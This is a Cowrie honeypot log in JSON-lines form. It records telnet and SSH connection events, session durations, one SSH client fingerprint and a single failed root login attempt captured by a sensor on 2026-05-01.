{"eventid":"cowrie.session.closed","duration":30.64956021308899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:41.135473Z","src_ip":"213.171.199.40","session":"72c223026429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51152,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b97e900c22","protocol":"telnet","message":"New connection: 213.171.199.40:51152 (159.203.135.109:23) [session: 46b97e900c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:41.182567Z"}
{"eventid":"cowrie.session.closed","duration":31.914276361465454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:44.010679Z","src_ip":"213.171.199.40","session":"3ab82514a0e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33058,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4bc874d204d","protocol":"telnet","message":"New connection: 213.171.199.40:33058 (159.203.135.109:23) [session: c4bc874d204d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:44.416226Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33586,"dst_ip":"159.203.135.109","dst_port":23,"session":"695550904a44","protocol":"telnet","message":"New connection: 213.171.199.40:33586 (159.203.135.109:23) [session: 695550904a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:44.572066Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34682,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb4cd8f8ff87","protocol":"telnet","message":"New connection: 213.171.199.40:34682 (159.203.135.109:23) [session: eb4cd8f8ff87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:44.927730Z"}
{"eventid":"cowrie.session.closed","duration":31.085341453552246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:45.132213Z","src_ip":"213.171.199.40","session":"e04437c32d6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.68183493614197,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:45.914265Z","src_ip":"103.115.172.252","session":"aaccdfd69a1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38954,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ee65a4a438","protocol":"telnet","message":"New connection: 213.171.199.40:38954 (159.203.135.109:23) [session: 74ee65a4a438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:46.330342Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41206,"dst_ip":"159.203.135.109","dst_port":23,"session":"6187852912cc","protocol":"telnet","message":"New connection: 213.171.199.40:41206 (159.203.135.109:23) [session: 6187852912cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:47.015257Z"}
{"eventid":"cowrie.session.closed","duration":30.829646587371826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:48.042089Z","src_ip":"213.171.199.40","session":"4a069621733e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44580,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b9cfabb766f","protocol":"telnet","message":"New connection: 213.171.199.40:44580 (159.203.135.109:23) [session: 7b9cfabb766f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:48.138631Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44934,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed0b26b3e651","protocol":"telnet","message":"New connection: 213.171.199.40:44934 (159.203.135.109:23) [session: ed0b26b3e651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:48.261717Z"}
{"eventid":"cowrie.session.closed","duration":31.656311511993408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:48.664737Z","src_ip":"213.171.199.40","session":"c5510a80996e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46892,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d5bf8ba61c8","protocol":"telnet","message":"New connection: 213.171.199.40:46892 (159.203.135.109:23) [session: 4d5bf8ba61c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:48.933551Z"}
{"eventid":"cowrie.session.closed","duration":30.36462426185608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:49.231107Z","src_ip":"213.171.199.40","session":"36a8ed64cda9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54550,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd92087384f8","protocol":"telnet","message":"New connection: 45.63.42.31:54550 (10.17.0.5:23) [session: bd92087384f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:49.721937Z"}
{"eventid":"cowrie.session.closed","duration":30.936851978302002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:49.730255Z","src_ip":"213.171.199.40","session":"d6157a0212f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33240,"dst_ip":"10.17.0.5","dst_port":23,"session":"38b0c1fd5718","protocol":"telnet","message":"New connection: 45.63.42.31:33240 (10.17.0.5:23) [session: 38b0c1fd5718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:50.400242Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56160,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c166913635","protocol":"telnet","message":"New connection: 213.171.199.40:56160 (159.203.135.109:23) [session: 28c166913635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:51.729287Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":57576,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e249b881a5","protocol":"ssh","message":"New connection: 107.173.55.151:57576 (10.17.0.5:22) [session: 36e249b881a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:52.744386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:52.749398Z","src_ip":"107.173.55.151","session":"36e249b881a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:52.770350Z","src_ip":"107.173.55.151","session":"36e249b881a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zaq1xsw2","message":"login attempt [root/Zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:52.870281Z","src_ip":"107.173.55.151","session":"36e249b881a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:53.891333Z","src_ip":"107.173.55.151","session":"36e249b881a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.049673318862915,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:54.336720Z","src_ip":"45.63.42.31","session":"8e08331a87d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825997352600098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:54.474604Z","src_ip":"213.171.199.40","session":"c0997b1f3324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.61525559425354,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:54.580394Z","src_ip":"45.63.42.31","session":"8496eed390c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37600,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee98d3d551bc","protocol":"telnet","message":"New connection: 213.171.199.40:37600 (159.203.135.109:23) [session: ee98d3d551bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:54.880367Z"}
{"eventid":"cowrie.session.closed","duration":30.6058669090271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:55.229675Z","src_ip":"213.171.199.40","session":"741396777fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.543286561965942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:55.373357Z","src_ip":"213.171.199.40","session":"982db1ab1740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.91755199432373,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:55.425598Z","src_ip":"45.63.42.31","session":"bed8708ca2fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.210495471954346,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:55.785758Z","src_ip":"103.115.172.252","session":"4bbd000762d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98118257522583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:56.068677Z","src_ip":"213.171.199.40","session":"140dccc91205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20603895187378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:56.089050Z","src_ip":"213.171.199.40","session":"666ff55324ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45336,"dst_ip":"159.203.135.109","dst_port":23,"session":"adaf0e670c11","protocol":"telnet","message":"New connection: 213.171.199.40:45336 (159.203.135.109:23) [session: adaf0e670c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:57.345393Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45370,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a62a967300c","protocol":"telnet","message":"New connection: 213.171.199.40:45370 (159.203.135.109:23) [session: 9a62a967300c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:57.354941Z"}
{"eventid":"cowrie.session.closed","duration":30.776271104812622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:58.124717Z","src_ip":"213.171.199.40","session":"55a2cccbe2a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40998649597168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:58.166965Z","src_ip":"213.171.199.40","session":"73aa207b3c50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48216,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0de828e0950","protocol":"telnet","message":"New connection: 45.63.42.31:48216 (10.17.0.5:23) [session: d0de828e0950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:58.229008Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49578,"dst_ip":"159.203.135.109","dst_port":23,"session":"67bdd9eb736f","protocol":"telnet","message":"New connection: 213.171.199.40:49578 (159.203.135.109:23) [session: 67bdd9eb736f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:58.605832Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51058,"dst_ip":"159.203.135.109","dst_port":23,"session":"10c8b9b97d3e","protocol":"telnet","message":"New connection: 213.171.199.40:51058 (159.203.135.109:23) [session: 10c8b9b97d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:59.093540Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":52936,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e4a09b27477","protocol":"telnet","message":"New connection: 213.171.199.40:52936 (159.203.135.109:23) [session: 3e4a09b27477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:59.668380Z"}
{"eventid":"cowrie.session.closed","duration":30.878316640853882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:00.080738Z","src_ip":"213.171.199.40","session":"43eb69c2217c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54690,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ac14303bdd","protocol":"telnet","message":"New connection: 213.171.199.40:54690 (159.203.135.109:23) [session: 79ac14303bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:00.280665Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55776,"dst_ip":"159.203.135.109","dst_port":23,"session":"052b65ff6766","protocol":"telnet","message":"New connection: 213.171.199.40:55776 (159.203.135.109:23) [session: 052b65ff6766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:00.630587Z"}
{"eventid":"cowrie.session.closed","duration":30.392775535583496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:01.216650Z","src_ip":"213.171.199.40","session":"563f3b0ec8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58136,"dst_ip":"159.203.135.109","dst_port":23,"session":"21b1f0b6ada9","protocol":"telnet","message":"New connection: 213.171.199.40:58136 (159.203.135.109:23) [session: 21b1f0b6ada9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:01.441178Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58966,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba28891cde5c","protocol":"telnet","message":"New connection: 213.171.199.40:58966 (159.203.135.109:23) [session: ba28891cde5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:01.639000Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":59856,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a5d530e533d","protocol":"telnet","message":"New connection: 213.171.199.40:59856 (159.203.135.109:23) [session: 5a5d530e533d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:01.904037Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33578,"dst_ip":"159.203.135.109","dst_port":23,"session":"129cdad11b5c","protocol":"telnet","message":"New connection: 213.171.199.40:33578 (159.203.135.109:23) [session: 129cdad11b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:02.657117Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34772,"dst_ip":"159.203.135.109","dst_port":23,"session":"a150681aae25","protocol":"telnet","message":"New connection: 213.171.199.40:34772 (159.203.135.109:23) [session: a150681aae25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:03.084589Z"}
{"eventid":"cowrie.session.closed","duration":37.406988859176636,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:03.538058Z","src_ip":"45.63.42.31","session":"030a00ebd52e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28525686264038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:06.098982Z","src_ip":"213.171.199.40","session":"366d30ee949f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37608,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd141cfb61bc","protocol":"telnet","message":"New connection: 45.63.42.31:37608 (10.17.0.5:23) [session: bd141cfb61bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:06.216633Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57248,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ef252eb350","protocol":"telnet","message":"New connection: 213.171.199.40:57248 (159.203.135.109:23) [session: d7ef252eb350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:10.398135Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57554,"dst_ip":"159.203.135.109","dst_port":23,"session":"30750a0f18ea","protocol":"telnet","message":"New connection: 213.171.199.40:57554 (159.203.135.109:23) [session: 30750a0f18ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:10.493061Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57984,"dst_ip":"159.203.135.109","dst_port":23,"session":"2606ce6801bf","protocol":"telnet","message":"New connection: 213.171.199.40:57984 (159.203.135.109:23) [session: 2606ce6801bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:10.636670Z"}
{"eventid":"cowrie.session.closed","duration":30.54750633239746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:11.252806Z","src_ip":"213.171.199.40","session":"f15fdba304e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33364,"dst_ip":"159.203.135.109","dst_port":23,"session":"de1bf58d8ba6","protocol":"telnet","message":"New connection: 213.171.199.40:33364 (159.203.135.109:23) [session: de1bf58d8ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:11.805873Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33980,"dst_ip":"159.203.135.109","dst_port":23,"session":"bef32c8e6edf","protocol":"telnet","message":"New connection: 213.171.199.40:33980 (159.203.135.109:23) [session: bef32c8e6edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:11.964930Z"}
{"eventid":"cowrie.session.closed","duration":30.901248455047607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:12.083725Z","src_ip":"213.171.199.40","session":"46b97e900c22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40202,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f07042710f7","protocol":"telnet","message":"New connection: 213.171.199.40:40202 (159.203.135.109:23) [session: 8f07042710f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:13.774771Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41712,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc39adc1b52","protocol":"telnet","message":"New connection: 213.171.199.40:41712 (159.203.135.109:23) [session: 2bc39adc1b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:14.254785Z"}
{"eventid":"cowrie.session.closed","duration":30.4859676361084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:15.057938Z","src_ip":"213.171.199.40","session":"695550904a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.249611616134644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:15.174039Z","src_ip":"213.171.199.40","session":"eb4cd8f8ff87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89110040664673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:15.307156Z","src_ip":"213.171.199.40","session":"c4bc874d204d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed7af21e3879","protocol":"telnet","message":"New connection: 213.171.199.40:45652 (159.203.135.109:23) [session: ed7af21e3879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:15.336268Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56834,"dst_ip":"10.17.0.5","dst_port":23,"session":"92afd438b0ea","protocol":"telnet","message":"New connection: 45.63.42.31:56834 (10.17.0.5:23) [session: 92afd438b0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:16.603679Z"}
{"eventid":"cowrie.session.closed","duration":31.049469709396362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:17.379695Z","src_ip":"213.171.199.40","session":"74ee65a4a438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54752,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b31fea8387","protocol":"telnet","message":"New connection: 213.171.199.40:54752 (159.203.135.109:23) [session: f4b31fea8387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:17.953217Z"}
{"eventid":"cowrie.session.closed","duration":31.068127393722534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:18.083317Z","src_ip":"213.171.199.40","session":"6187852912cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55632,"dst_ip":"159.203.135.109","dst_port":23,"session":"40b71a4033b5","protocol":"telnet","message":"New connection: 213.171.199.40:55632 (159.203.135.109:23) [session: 40b71a4033b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:18.191039Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60384,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6d98d938f8","protocol":"telnet","message":"New connection: 45.63.42.31:60384 (10.17.0.5:23) [session: fe6d98d938f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:18.590352Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57958,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd9fc7d17479","protocol":"telnet","message":"New connection: 213.171.199.40:57958 (159.203.135.109:23) [session: bd9fc7d17479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:18.834410Z"}
{"eventid":"cowrie.session.closed","duration":30.7794508934021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:19.041071Z","src_ip":"213.171.199.40","session":"ed0b26b3e651","protocol":"telnet"}
